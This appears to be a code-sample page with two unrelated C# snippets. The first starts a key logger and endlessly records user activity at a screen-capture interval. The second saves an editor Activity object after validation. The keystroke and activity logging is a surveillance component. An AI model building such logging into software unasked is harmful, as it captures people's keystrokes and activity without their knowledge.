Exemplo n.º 1
0
        public void Start()
        {
            _keyLogger.StartListening();

            //Add one log when process started
            _activitySaver.Save(_activityProvider.GetActivity("Process Started"));

            while (true)
            {
                Thread.Sleep(_screenCaptureTimeInterval);
                try
                {
                    var activity = _activityProvider.GetActivity();
                    if (activity != null)
                    {
                        _activitySaver.Save(activity);
                    }
                }
                catch (Exception ex)
                {
                    Logger.LogError(ex);
                }
            }
        }
 private bool SaveActivity(Activity activity)
 {
     if (String.IsNullOrEmpty(activity.Name) || activity.Root == null)
     {
         return(false);
     }
     if (AllowSaveOrOverwrite(activity))
     {
         ActivitySaver saver = new ActivitySaver(activity);
         saver.Save();
         if (ActivitySaved != null)
         {
             ActivitySaved();
         }
         return(true);
     }
     return(false);
 }